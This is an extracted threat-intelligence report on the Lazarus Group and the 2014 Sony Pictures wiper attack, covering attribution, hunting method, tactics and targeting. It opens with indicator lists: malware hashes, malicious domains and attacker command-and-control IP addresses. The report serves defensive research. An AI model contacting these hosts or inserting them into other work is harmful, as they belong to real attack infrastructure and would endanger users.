4EE82934F24E348696F1C813C24797618286A70C B80A90B39FBA705F86676C5CC3E0DECA225D57FF 971A69547C5BC9B711A3BB6F6F2C5E3A46BF7B29 C1D8BE765ADCF76E5CCB2CF094191C0FEC4BF085 2531F40A1D9E50793D04D245FD6185AAEBCC54F4 32 Other droppers: D8837002A04F4C93CC3B857F6A42CED6C9F3B882 BA5AD566A28D7712E0A64899D4675C06139F3FF0 FF6F6DCBEDC24D22541013D2273C63B5F0F19FE9 76DA7B4ABC9B711AB1EF87B97C61DD895E508232 855CA024AFBA0DC09D336A0896318D5CC47F03A6 12240271E928979AB2347C29B5599D6AC7CD6B8E A9CB079EF49CEE35BF68AC80534CBFB5FA443780 1B278A1A5E109F32B526660087AEA99FB8D89403 4332A5AD314616D9319C248D41C7D1A709124DB2 5BEA9423DB6D0500920578C12CB127CBAFDD125E Plugins: 2341139A0BC4BB80F5EFCE63A97AA9B5E818E79D 8BD2C45DE1BA7A7FD27E43ABD35AE30E0D5E03BC 54FEDCDB0D0F47453DD65373378D037844E813D0 CC3ECFB822D09CBB37916D7087EB032C1EE81AEE F1C9BC7B1D3FD3D9D96ECDE3A46DFC3C33BBCD2B 9654B6EA49B7FEC4F92683863D10C045764CCA86 526C3263F63F9470D08C6BA23E68F030E76CAAF3 E6D2EF05CEDCD4ABF1D8E3BCAF48B768EAC598D7 CEBAB498E6FB1A324C84BA267A7BF5D9DF1CF264 324B65C4291696D5C6C29B299C2849261F816A08 C96C29252E24B3EEC5A21C29F7D9D30198F89232 CDDDE7D44EFE12B7252EA300362CF5898BDC5013 84A70CDC24B68207F015D6308FE5AD13DDABB771 Fake TrueCrypt setup: 82F48D7787BDE5B7DEC046CBEF99963EEEB821A7 9666AF44FAFC37E074B79455D347C2801218D9EA C02878A69EFDE20F049BC380DAE10133C32E9CC9 7FBABEA446206991945FB4586AEE93B61AF1B341 Fake TrueCrypt extracted exe: DCBD43CFE2F490A569E1C3DD6BCA6546074FD2A1 422B350371B3666A0BD0D56AEAAD5DEC6BD7C0D0 88D703ADDB26ACB7FBE35EC04D7B1AA6DE982241 86E3276B03F9B92B47D441BCFBB913C6C4263BFE 33 Domain names: truecryptrussia.ru mntexpress.com worldairpost.com worldairpost.net camprainbowgold.ru poolwaterslide2011.ru IP addresses of CC servers: 78.47.218.234 95.86.129.92 115.68.23.192 67.18.208.92 37.139.47.162 212.227.137.245 62.76.189.181 87.106.44.200 62.76.42.14 94.242.199.78 178.239.60.96 84.234.71.215 67.103.159.141 62.76.184.245 83.169.20.47 148.251.33.219 98.129.238.97 195.210.28.105 198.136.24.155 46.165.228.130 192.154.97.239 5.44.99.46 188.240.46.1 81.196.48.188 74.54.206.162 69.64.72.206 74.208.68.243 46.163.73.99 193.34.144.63 103.3.77.219 119.59.105.221 188.40.71.188 188.40.71.137 108.179.245.41 64.40.101.43 190.228.169.253 194.15.126.123 188.127.249.19
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OperationBlockbuster.com Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 3 TOC Table of Contents Caveats ...........................................................................4 1.
Executive Summary ................................................. 5 1.1  Key Takeaways ........................................................7 2.
Operation Details .................................................... 8 2.1  Hunting Method ..........................................................................9 3.
Lazarus Group Details  ...........................................11 3.1  The SPE Attack and Conflicting Attribution ............... 12 3.2  Tactics, Techniques, and Procedures (TTPs) ........... 14 3.3  Targeting ...................................................................................... 16 3.4  Links to Previous Reporting .............................................. 20 The Lazarus Group Timeline ..................................................... 20 4.
Malware Tooling .................................................... 24 4.1  Naming Scheme ....................................................................... 25 4.2  Infrastructure .............................................................................27 4.3  Code Relationships ............................................................... 28 4.3.1  Encryption ............................................................................... 28 4.3.2  Dynamic API Loading  ..................................................... 34 4.3.3  Network Functionality ..................................................... 35 4.3.4  Directory Hierarchy Verification and Generation ................................................................................. 46 4.3.5  Secure File Delete ...............................................................47 4.3.6  Target File Identification ..................................................47 5.
Conclusion .............................................................. 48 5.
Conclusion (continued) .......................................................... 49 YARA Rules .........................................................................................50 Hashes ...................................................................................................50 6.
Appendix ..................................................................51 7.
Glossary of Terms ................................................. 55 Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 4 Caveats To the best of Novettas knowledge and belief, participants in this effort did not disclose, access, or utilize any confidential information that would result in violation of any third party agreements including, but not limited to, non-disclosure agreements or customer agreements.
While this report discusses previous attribution claims made by outside parties, Novetta cannot definitively confirm any such attribution through the technical analysis detailed in this and other Operation Blockbuster reports.
Please note that this report includes terms that will not be familiar to everyone.
We have included a glossary at the end of this report and denoted such defined terms with the superscript for your convenience.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 5 1.
Executive Summary Operation Blockbuster is a Novetta-led coalition of private industry partners, created with the intent to understand and potentially disrupt malicious tools and infrastructure that have been attributed to an adversary that Novetta has identified and named as the Lazarus Group.
This group has been active since at least 2009, and potentially as early as 2007, and was responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment (SPE).
The attack against Sony Pictures Entertainment (SPE) was unprecedented in its media coverage and overt use of malicious destructive capabilities against a commercial entity.
The SPE attack broke new ground not only as a destructive malware attack on a U.S. commercial entity but also due to the fact that the U.S. government attributed the attack to North Korea and enacted small reciprocal measures.1 While the debate over who was responsible  North Korea, hacktivists, or SPE employees  was the primary subject played out in the media, the attack presented much larger implications, such as how little resistance a modern commercial enterprise is able to provide in the face of a capable and determined adversary with destructive intent.
1  North Korea and the Sony Hack: Exporting Instability Through Cyberspace.
Stephen Haggard, Jon R. Lindsay.
Analysis from the East-West Center.
May 2015.
http://www.eastwestcenter.org/system/tdf/private/api117.pdf C H A P T E R ONE Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 6 1.
Executive Summary (continued) Further, Novettas analysis of the observed tooling and TTPs suggests that the group has executed numerous successful attacks due in large part to their organization and determination, more so than due to any highly sophisticated malware such as those reportedly used by similar classes of threat actors reported in the last few years, e.g., HDD malware2 and Satellite Turla.3 Through careful analysis outlined in this report and other associated reverse engineering technical reports, Novetta has been able to link the malware used in the SPE attack to a widely varied malicious toolset.
This toolset includes malware directly related to previously reported attacks, suggesting that these malicious tools have been actively developed and used over a span of at least 7 years, and that the attackers responsible for the SPE attack have a much larger collection of related malware outside of the set of reported SPE destructive malware.
Due to this, we strongly believe that the SPE attack was not the work of insiders or hacktivists.
Instead, given the malicious tools and previous cyber operations linked to these tools, it appears that the SPE attack was carried out by a single group, or potentially very closely linked groups sharing technical resources, infrastructure, and even tasking.
We have dubbed this group the Lazarus Group.
Although our analysis cannot support direct attribution of a nation-state or other specific group due to the difficulty of proper attribution in the cyber realm, the FBIs official attribution claims4 could be supported by our findings.
While the SPE attack occurred over a year ago, we are releasing this report now to detail our technical findings, clarify details surrounding the SPE hack, and profile the Lazarus Group, who has continued to develop tools and target victims since then.
Most importantly, Novetta continues to work with our public and private partner organizations in this Operation to ensure that Novettas signatures and other data will have a meaningful impact on the Lazarus Groups abilities to function, as well as help potential victims understand in great detail not only the technical but also the operational methods.
Novetta feels that this combination of sharing highly technical analysis with both the public and private industry is the best way to interdict these types of actors.
2  NSA Planted Stuxnet-Type Malware Deep Within Hard Drive Firmware.
The Hacker News.
February 16, 2015.
http://thehackernews.com/2015/02/hard-drive-firmware-hacking.html 3  Satellite Turla: APT Command Control in the Sky.
Securelist.
September 9, 2015.
https://securelist.com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/ 4  Update on Sony Investigation.
FBI.
December 19, 2014.
https://www.fbi.gov/news/pressrel/press-releases/update-on-sony-investigation Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 7 1.1  Key Takeaways 1.
The Lazarus Group is a well-established group that appears to be comprised of various sets of developers and operators for their custom malware.
2.
The Lazarus Group demonstrates varying levels of technical aptitude and proficiency in computer network operations (CNO).
3.
From a binary analysis perspective, this threat actor demonstrates a heavy reliance on shared code, techniques, and ideas from other previously developed Lazarus Group tool components as well as outside sources.
Due to this, malware used in the November 2014 SPE attack can be linked to a much wider set of the Lazarus Groups malware that has been under active development since as early as 2009.
4.
The malware analyzed in this Operation and attributed to the Lazarus Group has been used to target government, media, military, aerospace, financial, and critical infrastructure entities in a limited geographic area, primarily South Korea and the United States.
5.
Because of the depth and scope of malware tools, structure of the analyzed code bases, TTP overlap with similar attacks, and long trail of activities attributed to the Lazarus Group, Novetta does not believe that the SPE attack was carried out by insiders or hacktivists, but rather by a more structured, resourced, and motivated organization.
6.
The set of malware uncovered and analyzed during this Operation, more than 45 unique families to date, consists of a wide variety of attack tools: Rats General Tools Uninstallers installers spreaders proxy Keylogger DDoS Bot Loaders Hard Drive Wipers 7.
The frequency and type of code sharing across malware families may suggest the same group of author(s) across families or extensive sharing of resources between closely linked groups 8.
The Lazarus Group has also been observed to share cryptographic keys across malware families as well as general techniques observed in other unrelated malware families.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 8 2.
Operation Details Operation Blockbuster began in December 2014, independent of any investigation conducted by law enforcement or Sony, with the intent to not only identify and impact the malicious tools and infrastructure used by the Lazarus Group, but also to clarify details surrounding the November 2014 SPE attack, which was the subject of widespread confusion.
By investigating the malware linked to this attack, we have determined that the Lazarus Group has operated largely unfettered for nearly a decade, conducting cyber espionage, denial of service attacks, data theft, and destructive attacks.
Before discussing Novettas hunting methods, it is important to note that the majority of our malware samples and other data were sourced from public sources such as VirusTotal.
As a result, our samples are biased towards the footprint and usage of this service.
We do have some partners who provided malware samples, representing commercial ecosystem protectors and maintainers.
Here again, our visibility is limited to the visibility of these partners.
C H A P T E R Two Identify starting sample(s) In this case, the starting samples were identified by the industry as being from the  SPE attack Collect and verify the accuracy of results By checking the signature match, samples can be verified to ensure that there are no false positives, or to refine high confidence signatures Begin analysis of samples Attempt to identify unique components of the code base that can provide high confidence signatures Identify any divergence in samples Such a divergence may communicate some structure change or change in capabilities, and in turn provide more information about a threat groups toolset, development activity, and capabilities Write high confidence signatures Signatures can help capture other samples that use the same or very similar code snippets identified in step 2 Write new high confidence Signatures for those portions of code Run high confidence signatures against a large corpus of malware This is more easily accomplished using Totem  or similar elastic malware analysis or file triaging framework Repeat steps 4-7 until done Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 9 2.1  Hunting Method On December 14, 2014, US-CERT released an alert5 entitled Targeted Destructive Malware.
The alert described a set of malware families used by undefined attackers to compromise large network infrastructures and deploy hard drive wiping malware, RATs, and proxy Trojans.
While the document did not specifically call out the Guardians of Peace (GOP)s attack against SPE from the previous month, and only provided some basic YARA signatures and import hashes, members of the security community released specific hashes for the malware used within the SPE attack.
From these hashes (MD5s listed below), a baseline of the Lazarus Groups malware capabilities was established.
d1c27ee7ce18675974edf42d4eea25c6 760c35a80d758f032d02cf4db12d3e55 e1864a55d5ccb76af4bf7a0ae16279ba 6467c6df4ba4526c7f7a7bc950bd47eb Novetta Hunting Methodology: 5  US-CERT.
Alert (TA14-353A): Targeted Destructive Malware https://www.us-cert.gov/ncas/alerts/TA14-353A December 14, 2014.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 10 By analyzing the base set of malware associated with the Lazarus Group, Novetta determined that there were common code and libraries being used across multiple malware families (see Section 4 for more details).
From these common snippets of code and use of library functions, signatures were generated to detect additional malware samples using both open-source tools and Totem,6  an open-source, Novetta-developed framework for large-scale file analysis and triage.
While attempting to acquire all malware associated with a particular threat group is a Sisyphean task, given the active development of multiple various toolsets, Novetta was able to detect and analyze more than 45 distinct malware families that fall under the Lazarus Groups toolset.
A thorough discussion on these families, organized by usage and intention, can be found in Novettas supplemental reports.
In our investigation, we were able to scan signatures over hundreds of millions of samples we collected as well as using industry partners AV scanning engines.
The use of such a large corpus of malware allowed Novetta to fine-tune the signatures for shared code components to ensure a high reliability that the code fragments used for detection were specific to the Lazarus Group and not the result of commodity code.
From the billions of files scanned, Novettas signatures produced approximately 2000 samples, of which 1000 were manually vetted and catalogued as belonging to the Lazarus Group.
6  https://github.com/Novetta/totem 3.
Lazarus Group Details By identifying the malware linked to the SPE attack (Section 2.1) and other related samples and capabilities, Novetta has been able to compile a picture of a group that has been active for nearly a decade.
Based on analysis of the extensive malware set collected, as well as details found in public reporting from linked attacks, the Lazarus Group appears to have resources that allow for development of custom malware tools for extensive, targeted, and coordinated attacks, including long periods of reconnaissance.
The Lazarus Group has also displayed the technical capability and will to perform destructive attacks against targets.
The following sections detail the SPE attack and subsequent media reporting, the groups TTPs, targets based on known attacks and malware artifacts, and previous cyber campaigns that we have directly linked to the Lazarus Group.
C H A P T E R Three Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 12 3.1  The SPE Attack and Conflicting Attribution In November 2014, Sony Pictures Entertainment (SPE) was attacked with destructive malware whose various components were publicly reported as Destover or Wiper and which Novetta identified in this Operation as WhiskeyAlfa, malware associated with the Lazarus Group threat actors (see Section 4.1 for details about the naming scheme used for malware attributed to the Lazarus Group).
Publicly, a previously unknown hacker group named Guardians of Peace (GOP) took credit for the wiper attack and stolen data.
The group eventually publicized the files stolen from SPE networks, including unreleased movies, usernames, passwords, and other IT details for internal SPE networks,7 employees personal information, payroll information, employee termination details, TV scripts, and company emails.
Following the attack, an initial FBI investigation concluded that the hack was the work of the North Korean government, as the malware used in the attack was linked to other malware attributed to North Korean actors  specifically, code snippets, encryption algorithms, data deletion methods, and compromised infrastructure used during the attack.8 Infrastructure used in the SPE attack has previously been linked by the U.S. government directly to other identified North Korea cyber activity.
Several security researchers also stated that the destructive attack could be linked to malware variants used in attacks that have been suggested to be the work of North Korea,9 with similar TTPs as previous events attributed to North Korea,10 11 and shared infrastructure.12 However, others stated that the evidence for North Korean involvement is circumstantial.13 For instance, while the infrastructure used in the SPE attack overlaps with infrastructure attributed to malicious cyber activity linked to North Korea, previously malicious IP addresses are not necessarily still used by the same attackers.
In fact, the publicly reported C2 addresses were almost all public proxies used by a variety of malware operators in the past.
Other reporting claimed that the SPE attack was the work of insiders rather than a nation-state,14 and that the ability to thoroughly infiltrate the SPE network and steal sensitive data required insider knowledge.
The data leaked included details of planned layoffs, suggesting a motivation for disgruntled employees to aid or provide stolen data to other attackers, such as piracy hacktivists targeting SPE.
The attackers also dumped the stolen data, rather than keeping it secret as, some allege, a state power interested in intelligence or propaganda might do instead.15 In contrast, previous destructive attacks against South Korean organizations in March 2013, which were linked to North Korea, involved no extortion demands from attackers.
Notably, other public comments even doubted that North Korea had the capabilities to launch such an attack largely due 7  Sonys IT blueprints leaked by hackers.
CSO.
December 4, 2014.
http://www.csoonline.com/article/2855005/business-continuity/sonys-it-blueprints-leaked-by-hackers.html 8  Update on Sony Investigation.
FBI.
December 19, 2014.
https://www.fbi.gov/news/pressrel/press-releases/update-on-sony-investigation 9  Destover: Destructive malware has links to attacks on South Korea.
Symantec.
December 4, 2014.
http://www.symantec.com/connect/blogs/destover-destructive-malware-has-links-attacks-south-korea 10  South Korean paper hit by major cyber attack.
Phys.org.
June 11, 2012.
http://phys.org/news/2012-06-south-korean-paper-major-cyber.html 11  Four-star spymaster behind North Korean hacking Sonys The Interview available online.
The Washington Times.
December 24, 2014.
http://www.washingtontimes.com/news/2014/dec/24/inside-the-ring-four-star-spy- master-behind-north-k/ 12  Sony Hack Mirrors Attack on South Korean Newspaper, Researcher Says.
The Wall Street Journal.
December 19, 2014.
http://blogs.wsj.com/korearealtime/2014/12/19/sony-hack-mirrors-attack-on-south-korean-newspa- per-researcher-says/ 13  No, North Korea Didnt Hack Sony.
The Daily Beast.
December 24, 2014.
http://www.thedailybeast.com/articles/2014/12/24/no-north-korea-didn-t-hack-sony.html 14  Norse Investigation Focusing on a Small Group, Including Sony Ex-Employees.
Norse.
December 29, 2014.
http://web.archive.org/web/20150623023623/http://darkmatters.norsecorp.com/2014/12/29/ex-employee-five- others-fingered-in-sony-hack/http://darkmatters.norsecorp.com/2014/12/29/ex-employee-five-others-fingered-in-sony-hack/ 15  No, North Korea Didnt Hack Sony.
The Daily Beast.
December 24, 2014.
http://www.thedailybeast.com/articles/2014/12/24/no-north-korea-didn-t-hack-sony.html Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 13 to insufficient infrastructure,16 or that other17 nation-states18 were involved.
In addition to the conflicting attribution of the attacks, some initial reporting suggested that the attack shared some links to Shamoon, the destructive malware that hit Saudi Aramco and other oil company networks in August 2012.
This was based on the use of the same commercially available drivers (EldoS RawDisk) and attack techniques rather than any shared malware code.19 From Novettas analysis of Shamoon, there is no clear link between Shamoon and any destructive malware variants tracked in this operation that would indicate shared author(s).
However, the author(s) behind the SPE destructive malware may have copied Shamoons attack techniques, or vice versa.
It is worth noting that the two nation- states publicly blamed for the Saudi Aramco and SPE attacks (Iran and North Korea, respectively) have had a technology sharing treaty since 2012, with a specific focus on cyber.20 While some critics of the SPE attribution do ask important questions, such as whether the use of public proxies or open- source code libraries is sufficient evidence for attribution, many who have written off any possible nation-state involvement due to GOPs public actions have not fully considered the possible motives of a states interest in attacking SPE.
Furthermore, to discount nation-states like North Korea as too underdeveloped ignores the demonstrated fact that cyber attacks are no longer limited to highly resourced nation-states.21 22 23 The cyber footprint of not only governments and critical infrastructure, but also corporate enterprises, has grown significantly while still largely lacking in sophisticated security operations, effectively lowering the barrier to entry even further for threat groups.
Although Novetta is unable to determine via technical malware analysis whether or not the SPE attack was carried out by an identified nation-state, we have been able to link the malware used in this attack to a widely varied malicious toolset profiled in this Operation, including tools directly related to previously reported attacks (Section 3.4).
This link to known attacks suggests that these malicious tools have been actively developed and used over a span of at least 7 years, and that the attackers responsible for the SPE attack have a much larger collection of related malware outside of the SPE destructive malware.
Due to this finding, we strongly believe that the SPE attack was not the work of insiders or hacktivists.
Furthermore, given the malicious tools and previous cyber operations linked to these tools, it appears that the SPE attack was carried out by a single group, or potentially very closely linked groups sharing technical resources, infrastructure, and even tasking.
We have dubbed this organization the Lazarus Group.
However, rather than focus on the specifics of attribution, this report and subsequent technical reports are intended to detail our technical findings on the scope of the Lazarus Groups known tools and capabilities.
Due to this finding, we strongly believe that the SPE attack was not the work of insiders or hacktivists.
Furthermore, given the malicious tools and previous cyber operations linked to these tools, it appears that the SPE attack was carried out by a single group, or potentially very closely linked groups sharing technical resources, infrastructure, and even tasking.
We have dubbed this organization the LAZARUS GROUP.
16  Former Anonymous hacker doubts North Korea behind Sony attack.
CBS News.
December 17, 2014.
http://www.cbsnews.com/videos/former-anonymous-hacker-doubts-north-korea-behind-sony-attack/Sony Hackers Guardians of Peace Troll FBI, Anonymous Convinced Hack Didnt Come From North Korea.
17  A security firm claims it was Russia that hacked Sony  and that it still has access.
Business Insider.
February 5, 2015.
http://www.businessinsider.com/a-security-firm-claims-it-was-russia-that-hacked-sony-and-that- they-still-have-access-2015-2 18  Evidence in Sony hack attack suggests possible involvement by Iran, China or Russia, intel source says.
Fox News.
December 19, 2014.
http://www.foxnews.com/politics/2014/12/19/fbi-points-digital-finger-at-north-korea- for-sony-hacking-attack-formal.html 19  Sony Pictures malware tied to Seoul, Shamoon cyber-attacks.
Ars Technica.
December 4, 2014.
http://arstechnica.com/security/2014/12/sony-pictures-malware-tied-to-seoul-shamoon-cyber-attacks/ 20  Iran and North Korea sign technology treaty to combat hostile malware.
V3.
September 3, 2012.
http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware 21  Profiling an enigma: The mystery of North Koreas cyber threat landscape.
HP Security Research.
August 2014.
http://community.hpe.com/hpeb/attachments/hpeb/off-by-on-software-security-blog/388/2/HPSR20Secu- rityBriefing_Episode16_NorthKorea.pdf 22  Operation Cleaver.
Cylance.
December 2014.
http://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf 23  Malware-based Attacks Against POS Systems.
Infosec Institute.
February 11, 2014.
http://resources.infosecinstitute.com/malware-based-attacks-pos-systems/ http://www.cbsnews.com/videos/former-anonymous-hacker-doubts-north-korea-behind-sony-attack/ http://community.hpe.com/hpeb/attachments/hpeb/off-by-on-software-security-blog/388/2/HPSR20SecurityBriefing_Episode16_NorthKorea.pdf http://community.hpe.com/hpeb/attachments/hpeb/off-by-on-software-security-blog/388/2/HPSR20SecurityBriefing_Episode16_NorthKorea.pdf http://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 14 3.2  Tactics, Techniques, and Procedures (TTPs) The Lazarus Group has developed an extensive and varied toolset which effectively combines a number of methods for delivering additional malicious tools, exfiltrating data, and launching destructive attacks.
While the groups combined capabilities are not necessarily as polished or advanced as other publicly reported APT groups, the TTPs and malware connected to the Lazarus Group demonstrate that it is a capable and determined adversary.
Particularly when considering the state of most, if not all, organizations who struggle with the complexity of computer network defense, it is clear that the Lazarus Group is taking advantage of a cyber attackers asymmetric advantage in these scenarios.
The generally lax defensive capabilities of their targeted organizations are reflected by the structure and complexity of their tooling and how they use these tools operationally - the Lazarus Groups tools are sufficiently advanced for the intended targets and level of impact.
This is also typically seen in most malware tooling discovered and reported on, from the more advanced and complex malware frameworks like Flame24 and Satellite Turla,25 both observed targeting a narrow, hardened set of victims, to the off-the-shelf and simple malware (Plugx, Poison Ivy, etc) often used for softer targets or for initial access to target networks.
Some threat groups make use of a full spectrum of malware, as was observed in Novettas previous Operation SMN reporting,26 where the Axiom group leveraged different tools and techniques dependent on the security posture and capabilities of target organizations.
Compared to Axiom, Novettas analysis of the Lazarus groups toolsets did not demonstrate the same widespread distribution between advanced, moderately advanced, and basic capabilities.
Yet this clearly was not an impediment to the operators in the Lazarus Group, given the success of their attacks.
Despite evidence suggesting that their attacks to date have succeeded without the need for some of the more advanced techniques or capabilities, the Lazarus Group has shown creativity in their operations that set them apart.
Despite evidence suggesting that their attacks to date have succeeded without the need for some of the more advanced techniques or capabilities, the Lazarus Group has shown creativity in their operations that set them apart.
For example, the group has several malware variants with TLS mimicking capabilities (Section 4.3.3.1) to evade network detection, as well as a P2P malware family that serves as a platform for an operator to access all infected instances.
The Lazarus Group has also used master boot record (MBR) wiper malware since at least 2009, marking some of the earliest known instances of targeted destructive malware.
Furthermore, the willingness to use destructive malware in such a wide scope, seen with the SPE attack as well as other linked attacks, distinguishes them from many other APT groups.
However, the Lazarus Group is not limited solely to the deployment of destructive malware.
In fact, the toolset identified during this Operation suggests that the Lazarus Group encompasses a wide spectrum of CNO capabilities, including distributed denial of service (DDoS) malware, keyloggers, and RATs, and even a P2P malware family that allows operators to establish a common program base and remote administration across all infected machines.
24  Meet Flame, the massive spy malware infiltrating Iranian computers.
Wired.
May 28, 2012.
DNS-Calc APT Trojan Uses DNS Queries to Generate CC Port Number 25  Satellite Turla: APT Command Control in the Sky.
Securelist.
September 9, 2015.
https://securelist.com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/ 26  Operation SMN: Axiom Threat Actor Group Report.
Novetta.
November 2014.
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 15 Among the TTPs we have seen, based on the identified malware corpus and linked cyber campaigns tied to the Lazarus Group, including SPE, the Lazarus Groups primary TTPs are: DDoS malware Espionage campaigns marked by a long initial reconnaissance period of targeted networks, including malware customized specifically for target networks Destructive malware Compromised IPs and websites as command-and-control (C2) Extensive use of various types of obscure encryption Proxies to mask true C2 Integration of publicly available tools, libraries, and other code Email as C2 Re-use of malicious code across multiple malware families Mimicking TLS as a means of network detection evasion Multiple attack components/vectors Spear phishing Targeting of South Korean AV and indigenous Korean software Use of other legitimate software to gain access to victim networks Decoy documents Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 16 3.3  Targeting The Lazarus Group has targeted a number of industry verticals over the years, including government, military, financial, media and entertainment, and critical infrastructure.
According to previous public research and reporting, the Lazarus Group has targeted a number of industry verticals over the years, including government, military, financial, media and entertainment, and critical infrastructure.
These victims have largely been limited to South Korea and the United States.
Based on three months of telemetry gathered from initial signatures created and shared with industry partners, however, possible infections were found in a much wider geographic area, including concentrations of detected Lazarus Group malware found in other Asian countries like Taiwan, China, Japan, and India.
While these initial signature detections provide a general overview of some possible malicious activity, these numbers should not be considered reflective of the totality of Lazarus Group tools detected in this Operation, due to the nature of our approach in this effort and our partners visibility into these geographic areas.
Several recent examples of targeting were observed in spear-phishing documents dropped by samples of an installer developed by the Lazarus Group, which Novetta has named IndiaAlfa.27 27 reference external report on this Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 17 Figure [3-1]: Decoy document dropped by IndiaAlfa variant relating to the May 2015 parliamentary election in South Korea The above example is a media report discussing the May 2015 South Korean parliamentary election, which included candidates for the Saenuri Party, South Koreas ruling party since 2008.
Interestingly, Saenuri has taken a much stronger stance toward North Korea aggressions in comparison to the pre-2008 Sunshine Policy which actively sought cooperation between the two states.
Saenuri actively supports the North Korean Human Rights Law and founded Open Radio for North Korea, an organization which spreads information about democracy.
Saenuri is also a major advocate of cyber security and the National Intelligence Service.
Despite being amidst corruption allegations, the Saenuri Party won three of the four parliamentary seats during the election.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 18 Figure [3-2]: Decoy document from April 2015 dropped by an IndiaAlfa variant about the Government 3.0 conference in May Another document dropped by India Alfa includes information about the Government 3.0 Conference, held in May 2015.
South Koreas Government 3.0 emphasizes transparency and collaboration.
Of note is the programs 24-hour online portal service which connects citizens to multiple central and local government agencies.
More recently, a variant compiled in October 2015 contains a decoy document asking speakers at the Society for Aerospace System Engineerings (SASE) 2015 autumn conference to register their papers.
A warning that same month warned users not to click on these SASE documents, as it exploits a vulnerability (CVE-2015-6585) in the Hangul Word Processor (HWP) to deliver a malicious payload.28 This same vulnerability, patched in September 2015, was reportedly exploited in zero-day attacks tied by researchers to North Korean threat actors.29 28  [Warning] Do not open an E-mail that includes a document titled 2015  .hwp (2015 Fall Conference Announcement).
Division of Information Security, Seoul National University.
October 20, 2015.
http://community.snu.ac.kr/bbs/bbs.enmessage.view.screen?bbs_id403message_id157326search_fieldtitlesearch_wordclassified_value 29  Hangul Word Processor (HWP) Zero-Day.
FireEye.
September 9, 2015.
https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/FireEye_HWP_ZeroDay.pdf Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 19 Figure [3-3]: Document dropped by an IndiaAlfa sample asking speakers to register papers for the upcoming Society for Aerospace System Engineering (SASE) conference The above decoy document is a .hwp file, meant to be used with Hangul Word Processor (HWP), an indigenous South Korean word processing software.
Other IndiaAlfa samples have also been observed dropping other decoy documents for HWP, such as a Korean-language resume and a directory for the Saejong Institutes National Strategy Training Courses, the latter of which was identified in an article referencing North Korean spear-phishing strategies.30 In fact, HWP appears to be a popular attack vector for targeting South Korean victims,31 32 which may be due to the fact that 80 of documents attached to South Korean government and public agencies websites are reportedly HWP documents.33 Based on the analysis of malware identified in this Operation and tied to the Lazarus Group based on code reuse, as well as the public reporting of events that we have linked to the Lazarus Groups activity, we believe that this threat group has targeted a wide variety of victims, in addition to the SPE attack.
30           (Public institutions urged to use caution...high likelihood of precision attacks targeting specific users).
(Daily News).
May 10, 2015.
http://news.mk.co.kr/newsRead.php?year2015no444993 31     (Zero-Day)    (Attacks exploit Hangul file Zero-Day vulnerabilities) AhnLab.
January 29, 2013.
http://asec.ahnlab.com/902 32       (Malware exploits Hangul Zero-Day vulnerabilities) .
AhnLab.
May 20, 2015.
http://asec.ahnlab.com/1035 33  ,       (North Korea, Hangul Zero-Day attack attempt...were government secret documents revealed)?
Focus news.
September 11, 2015.
http://www.focus.kr/ view.php?key2015091100120249472 http://asec.ahnlab.com/902 http://asec.ahnlab.com/1035 3.4  Links to Previous Reporting Some of the malware variants identified during Operation Blockbuster have been correlated to previously reported incidents and attacks, either because the malware was specifically identified in the attack, the Lazarus Group malware shared notable code overlap with the publicly reported malware, or the C2 infrastructure publicly reported was also found hard coded in malicious tools used by the Lazarus Group.
Additionally, several events also had TTPs highly similar to those of the Lazarus Group and have been linked to other notable attacks by security researchers.
While some of these indicators, such as overlapping C2s or some TTPs, may not be definitive proof of a linked activity, the collective picture of these events together provide a stronger link.
These ties strongly suggest that the Lazarus Group has been active since at least 2009, and potentially as far back as 2007, or has extensively shared resources with other closely linked groups responsible for these attacks.
In the scenario that the GOP were a real organization and responsible for the SPE attack, this would suggest that SPE was not the only operation by the hacktivist group.
However, Novettas analysis and findings suggest that the SPE attack was one of several attacks attributable to the Lazarus Group, who may have posed as the pop up hacktivist collective to mislead or distract the public.
The Lazarus Group Timeline March 7, 2007: 2009  2013: April 2011: June 2012: March 2014: July 4, 2009: March 2011: 2012: March 20, 2013: November 24, 2014: Development of first generation malware used in Operation Flame, activity that is eventually tied to Operation 1Mission, Operation Troy, and the DarkSeoul 2013 attacks.
A large-scale DDoS attack on US and South Korean websites uses the MYDOOM and Dozer malware, which is suspected to have arrived in email messages.
The malware places the text Memory of Independence Day in the Master Boot Record (MBR).
Ten Days of Rain attack targets South Korean media, financial, and critical infrastructure targets.
Compromised computers within South Korea are used to launch DDoS attacks.
Operation 1Mission campaign, also linked to the March 2013 DarkSeoul attacks, begins.
Attackers behind this activity have reportedly been active since 2007.
DarkSeoul wiper attack targets three South Korea broadcast companies, financial institutes, and one ISP.
Two unknown groups take credit: NewRomanic Cyber Army Team and WhoIs Team.
SPE networks are attacked with destructive malware.
Information stolen from the companys networks is distributed online by previously unknown hacker group Guardians of Peace (GOP).
Operation Troy cyber espionage campaign is active for several years, culminating in the March 2013 DarkSeoul attacks.
DDoS attack targets Nonghyup Bank.
Conservative South Korean newspaper claims to have been attacked unsuccessfully with wiper malware.
Website is defaced by an unknown hacker group, IsOne.
